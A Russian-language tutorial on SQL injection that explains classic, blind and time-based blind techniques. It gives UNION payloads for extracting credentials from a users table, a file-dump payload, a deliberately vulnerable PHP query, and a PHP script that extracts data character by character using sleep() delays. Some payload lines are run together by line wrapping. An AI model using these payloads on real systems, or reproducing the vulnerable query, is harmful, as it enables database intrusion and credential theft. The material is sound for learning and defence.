«SQL-инъекция»
— способ нападения на базу данных в обход межсетевой защиты. В этом методе
параметры, передаваемые к базе данных через Web-приложения, изменяются таким
образом, чтобы повлиять на выполняемый в приложении SQL-запрос. Инъекция
осуществляется через все доступные способы взаимодействия с приложением
(GET/POST/ COOKIE/etc).
Принудительное
внедрение вредоносных инструкций в SQL-запросы - методика, в которой взломщик
создает или изменяет текущие SQL-запросы для работы со скрытыми данными, их
изменения или даже выполнения опасных команд операционной системы на сервере
базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из
пользовательского ввода и статических переменных.
По техники эксплуатации SQL-инъекции условно можно разделить
на три группы:
1.
Классическая
SQL-инъекция
2.
Слепая SQL-инъекция
(blind SQL Injection)
3. Абсолютно слепая SQL-инъекция (Double blind SQL
Injection)
Будем
предполагать, что инъекция осуществляется через SELECT-запрос, а не через,
например, INSERT.
Классическая SQL-инъекция
Класси
ческая техника эксплуатации SQLинъекций — это, возможность объединить два
SQL-запроса с целью получения дополнительных данных из некоторой таблицы.
Возможность проведения классической инъекции во многом упрощает получение
полезной информации из СУБД .
Проведение
атаки в основном происходит с использованием оператора union. В случае, когда в
тело возвращаемой страницы выводится только одна запись из таблицы, прибегают к
технике построчного чтения данных:
?/id=1 limit 0 union select
login,password from users limit 0,1
?/id=1 limit 0 union select
login,password from users limit 1,1
Надо
сказать, что получение данных из большой таблицы при таком подходе является
достаточно долгим процессом. Поэтому когда пользователь, от имени которого
выполняются запросы к MySQL, обладает привилегиями file_priv, становится
возможным использовать вывод select-запроса в файл:
?/id=1 limit 0 union select login,password
from users into outfile '/tmp/users'
Возможность
работать с файловой системой при эксплуатации SQL-инъекции — это один шаг до
получения возможности выполнения команд на сервере. Потому SQL-инъекции и
относятся к классу уязвимостей Command Execution.
Когда
инъекция попадает в SQL-запрос, который осуществляется в таблице с ограниченным
числом столбцов, прибегают к функциям склеивания данных, таким как concat() и
concat_ws():
?/id=1 limit 0 union select
concat(login,password) from users
?/id=1 union select concat_
ws(':',login,password) from users
А для
случаев, когда после внедряемого запроса присутствуют «остатки» от «хорошего»
SQL-запроса, прибегают к вырезанию этого «мусора» путем использования
комментариев:
?/id=1 union select login,password from
users-?/id=1 union select login,password from
users/*
?/id=1 union select login,password from
users#
Слепая SQL
Injection появляется, когда уязвимый запрос является некоторой логикой работы
приложения, но не позволяет вывести какие-либо данные в возвращаемую Web-приложением
страницу. Пример уязвимого кода на PHP, содержащего уязвимость Blind SQL
Injection:
...
$result = mysql_query("SELECT
user FROM users where id = ".$_
GET['id']) or
die('Query failed:
' . mysql_error());
if(mysql_num_rows($result)>0)
{
...
какая-то
логика приложения, например, выполнение другого select-запроса
...
}
else
{
echo "error";
}
...
Слепая
SQL-инъекция по своим возможностям сопоставима с классической техникой
внедрения операторов SQL. Аналогично классической технике эксплуатации подобных
уязвимостей, blind SQL-Injection позволяет записывать и читать файлы, получать
данные из таблицы, но только чтение в данном случае осуществляется посимвольно.
Стандартная техника эксплуатации подобных уязвимостей основывается на
использовании логических выражений true/false. Если выражение истинно, то
Web-приложение вернет одно содержимое, а если выражение является ложным, то
другое. Полагаясь на различия вывода при истинных и ложных конструкциях в
запросе, становится возможным осуществлять посимвольный перебор данных в
таблице или в файле. Пример эксплуатации уязвимости для приведенного выше кода:
/?id=1 and
555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777).
Если таблица
«users» содержит колонку «pass», и первый символ первой записи из этой колонки
равен 97 (символ «a»), то мускуль вернет TRUE и запрос будет истинным. В
противном случае — FALSE, и для приведенного кода на странице отобразится
«error».
Бывают
случаи, когда помимо подавления всех уведомлений об ошибках в возвращаемой
странице со стороны Web-приложения, уязвимый к инъекции SQL-запрос используется
исключительно для своих внутренних целей. Например, это может быть ведение лога
посещений, различного рода внутренние оптимизации и пр. Подобные SQL-инъекции
относятся к третьей группе — Double blind SQL Injection. Техника эксплуатации
подобной группы SQL-инъекций основана на временных задержках между посылаемым
запросом к Web-приложению и его ответом. Для ее эксплуатации используют функции
sleep(). Пример самой простой реализации посимвольного перебора с
использованием временной задержки представлен ниже.
function brute(
$column, $table, $lim)
{
$ret_str = "";
$b_str = "1234567890_
abcdefghijklmnopqrstuvwxyz";
$b_arr = str_split($b_str);
for ($i=1;$i<100;$i++)
{
print "[+] Brute $i
symbol...\n";
for ($j=0; $j<count($b_arr);
$j++)
{
$brute = ord($b_arr[$j]);
$q = "/**/and/**/if((ord(
lower(mid((select/**/$column/**/
from/**/$table/**/limit/**/$lim,1)
,$i,1))))=$brute,sleep(6),0)--";
if (http_connect($q))
{
$ret_str = $ret_str.$b_
arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr))
break;
}
return $ret_str;
}
Как можно
увидеть, в массиве $b_srt для подбора данных используется алфавитный порядок.
Сценарий последовательно пробует каждый символ из массива на совпадение с
символом в базе. Попытаться ускорить процесс подбора можно, расположив символы
в более благоприятном порядке или использовав бинарное дерево. Для последнего
действия требуется воспользоваться символами «>» и «<», что не всегда
возможно, так как очень часто эти символы переводятся в HTML-эквиваленты.
Классические
работы по частотному анализу букв английского алфавита, доступные в Сети,
подсказывают последовательность, начинающуюся с e, t, a, o, n, i, s, h, r, d,
l, u, c (http://en.wikipedia.org/wiki/Frequency_analysis).
Расположив
буквы в таком порядке, можно уже говорить об уменьшении количества посылаемых
запросов к Web-приложению.